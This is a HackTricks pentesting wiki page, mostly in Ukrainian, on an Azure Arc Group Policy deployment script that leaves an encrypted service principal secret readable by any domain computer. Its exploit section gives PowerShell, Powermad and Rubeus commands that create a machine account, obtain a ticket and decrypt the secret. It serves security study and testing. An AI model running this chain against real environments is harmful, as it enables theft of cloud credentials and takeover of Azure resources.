Az - Arc vulnerable GPO Deploy Script

Support HackTricks

Визначення проблем

Azure Arc дозволяє інтеграцію нових внутрішніх серверів (приєднаних до домену) в Azure Arc за допомогою методу об'єкта групової політики. Для цього Microsoft надає набір інструментів для розгортання, необхідний для ініціювання процедури приєднання. У файлі ArcEnableServerGroupPolicy.zip можна знайти такі скрипти: DeployGPO.ps1, EnableAzureArc.ps1 та AzureArcDeployment.psm1.

При виконанні скрипт DeployGPO.ps1 виконує такі дії:

  1. Створює GPO для приєднання серверів Azure Arc у локальному домені.

  2. Копіює скрипт приєднання EnableAzureArc.ps1 на вказану мережеву папку, створену для процесу приєднання, яка також містить пакет установника Windows.

При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: ServicePrincipalId та ServicePrincipalClientSecret. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить загальний доступ, та ім'я загального доступу. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту.

Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному загальному доступі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише групами безпеки контролерів домену та комп'ютерів домену, як зазначено в коментарях до скрипту.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

Ми маємо наступні умови:

  1. Ми успішно проникли в внутрішню мережу.

  2. У нас є можливість створити або взяти під контроль обліковий запис комп'ютера в Active Directory.

  3. Ми виявили мережевий ресурс, що містить каталог AzureArcDeploy.

Існує кілька методів отримання облікового запису машини в середовищі AD. Один з найпоширеніших - це експлуатація квоти облікових записів машин. Інший метод передбачає компрометацію облікового запису машини через вразливі ACL або різні інші неправильні налаштування.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Якщо обліковий запис машини отримано, можна аутентифікуватися, використовуючи цей обліковий запис. Ми можемо або використовувати команду runas.exe з прапором netonly, або використовувати pass-the-ticket з Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Маючи TGT для нашого облікового запису комп'ютера, ми можемо використовувати наступний скрипт для розшифрування секрету службового принципала.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Альтернативно, ми можемо використовувати SecretManagement.DpapiNG.

На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить такі деталі, як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал.

References

Support HackTricks

Last updated